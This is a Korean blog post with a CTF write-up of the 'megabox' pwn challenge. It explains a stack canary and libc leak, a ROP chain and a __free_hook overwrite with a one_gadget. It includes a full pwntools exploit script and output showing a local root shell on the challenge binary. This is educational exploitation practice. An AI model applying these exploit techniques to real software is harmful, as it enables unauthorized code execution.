티스토리 뷰

CTF write-up

BOB CTF megabox [ pwn 450pt ]

marshimaro aSiagaming 2017. 8. 11. 01:09

지금도 왕초보지만 더욱 왕초보이던 3개월전에... 풀려고 했던 문제이다.

 exploit vector와 leak vector등이 아주 완벽하게 있는 문제인데 난 뭘 하걸까 그땐 ㅎㅎ


그리고 LD_PRELOAD를 설정해줌으로써, 원래 문제 환경과 비슷하게 만들어놓을려고 했는데..

새로운 thread문맥을 생성해서 그런가... 실행이 제대로 안되더랑 ㅎ_ㅎ


어쨋건 보호기법부터 분석을 해보면, mitigation은 NX, Full Relro, Stack Canary, ASLR정도가 되겠다.

신선한건 clone으로 새로운 thread context를 형성하며, 해당 thread에서는 prctl을 PR_SET_SECCOMP mode로 설정한다.

이른바, 리눅스 커널상의 샌드박스라고 봐도 된다.


DA로 분석하게되면 좀 처음에 안와닿는데...

strace를 통해 추적해보면



1
2
3
4
[pid 64995] [00007f8aa9de9c1a] prctl(PR_SET_NO_NEW_PRIVS, 1000 <unfinished ...>
[pid 64994] [00007f8aa9dae07a] wait4(64995,  <unfinished ...>
[pid 64995] [00007f8aa9de9c1a] <... prctl resumed> ) = 0
[pid 64995] [00007f8aa9de9c1a] prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, {len = 15, filter = 0x41410ec0}) = 0
cs




이런식으로 간단하게 볼 수 있다.





main함수에선 딱히 취약점이 존재하진 않는다 ㅎㅎ

mmap을 통해 0x41410000이라는 영역에 read | write 권한을 주게 된다.

그리고 clone함수를 통해 해당 메모리 영역에서 새로운 thread문맥을 형성하게 된다.






fn이라는 함수를 clone을 통해 새로운 쓰레드로 실행하게되는데,

해당 문맥에 대해서는 prctl PR_SET_SECCOMP가 걸리게되어, 사용할 수 있는 syscall이 제한된다.


하지만, 이 함수를 벗어난 영역에 대해서는 해당되지 않으므로 상관이 없다.

read와 write만 쓸 수 있다면야 ㅎㅎ


또한 저 함수 내부에서 사용하는 함수도 reuse가능하므로 걱정이 없도다 !


gets로 입력을 받으므로 buffer를 채워주거나 머 말거나 맘대로 가능하고, write로 출력을 0x1000만큼 하기때문에

저건 \x00에서 출력이 끊기지않는 고마운 자체 leak vector이다.


그렇기때문에, stack canary와 기존의 ret값을 동시에 leak할 수 있으며,

이를 통해 기존의 ret값은 clone+109라는 것을 알 수 있고, 이것을 이용하여 libc_base를 구할 수 있다.


간단한 rop를 통해 full relro를 bypass해야한다.

이는 hook을 덮거나 라이브러리 자체에서 호출하는 got영역을 덮음으로써 할 수 있다.


full relro라는 기법은 현재 실행되는 바이너리상에만 걸려있는 것이기때문에, 다른 매핑된 라이브러리에는 해당되지 않는다.

그래서 적당한 rop chain을 구성해주고, free_hook을 덮어주고 리턴을 free로 해주면 쉘을 얻을 수 있다.


나는 free_hook을 one_gadget으로 덮어주었다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@ubuntu:/home/asiagaming/Desktop/ctf_pwn/extra_pwn# one_gadget /lib/x86_64-linux-gnu/libc.so.6 
0x4526a    execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30== NULL
 
0xcd0f3    execve("/bin/sh", rcx, r12)
constraints:
  [rcx] == NULL || rcx == NULL
  [r12] == NULL || r12 == NULL
 
0xcd1c8    execve("/bin/sh", rax, r12)
constraints:
  [rax] == NULL || rax == NULL
  [r12] == NULL || r12 == NULL
 
0xf0274    execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50== NULL
 
0xf1117    execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70== NULL
 
0xf66c0    execve("/bin/sh", rcx, [rbp-0xf8])
constraints:
  [rcx] == NULL || rcx == NULL
  [[rbp-0xf8]] == NULL || [rbp-0xf8== NULL
 
cs



one_gadget은 사용가능한 것을 골라서 사용하면 된다.



exploit code


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
import time
 
context.binary = "./megabox"
binary = ELF("./megabox")
 
= process(["./megabox"])
prog = log.progress("Exploit ")
 
debug = True
 
if debug:
    prog.status("PID : " + str(proc.pidof(p)[0]))
#    context.log_level = "debug"
    pause()
 
pop1rdi = 0x401043
pop2rsi = 0x401041
 
 
p.recvuntil("name... ")
p.sendline("aSiagaming")
 
p.recvuntil(">>> ")
p.sendline("1")
p.recvuntil("feedback>>> ")
p.sendline("A" * 0x88)
p.recvuntil(">>> ")
p.sendline("2")
p.recvuntil("A" * 0x88)
canary = u64(p.recv(8))
p.recv(8)
ret = u64(p.recv(8)) - 109
libc_base = ret - 0x107370
 
log.success("Canary : " + hex(canary))
log.success("clone : " + hex(ret))
 
#p.recvuntil("menu>>> ")
p.sendline("1")
p.recvuntil("feedback>>> ")
 
exp = "A" * 0x88 + p64(canary) + "B" * 8
#exp += p64(pop1rdi) + p64(0)
#exp += p64(pop2rsi) + p64(libc_base + 0x3c67a8) + p64(0)
exp += p64(pop1rdi) + p64(libc_base + 0x3c67a8)
exp += p64(binary.plt["gets"]) + p64(0x400fd0)
 
p.sendline(exp)
p.recvuntil("menu>>> ")
p.sendline("3")
 
p.sendline(p64(libc_base + 0x4526a))
 
p.interactive()
 
cs




Get shell ~


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
root@ubuntu:/home/asiagaming/Desktop/ctf_pwn/extra_pwn# python solve_megabox.py 
[*'/home/asiagaming/Desktop/ctf_pwn/extra_pwn/megabox'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process './megabox': pid 65066
[ ] Exploit : PID : 65066
[*] Paused (press any to continue)
[+] Canary : 0x3dd4b551a41dcf00
[+] clone : 0x7f1f657fc370
[*] Switching to interactive mode
 
sayonara aSiagaming
 
$ id
uid=0(root) gid=0(root) groups=0(root)
$ ls
libc-2.19.so  megabox  solve_megabox.py
$ pwd
/home/asiagaming/Desktop/ctf_pwn/extra_pwn
[*] Interrupted
[*] Stopped process './megabox' (pid 65066)
 
cs




'CTF write-up' 카테고리의 다른 글

2016 Boston Key Party simple calc  (0) 2017.10.04
TWCTF -_-...  (0) 2017.09.06
BOB CTF megabox [ pwn 450pt ]  (0) 2017.08.11
HITCON CTF 2014 stkof [ 550pt ]  (3) 2017.08.05
Defcon CTF 2017 mute [ pwnable ]  (0) 2017.08.01
Defcon CTF 2017 badint [ pwnable ]  (0) 2017.07.30
댓글
댓글쓰기 폼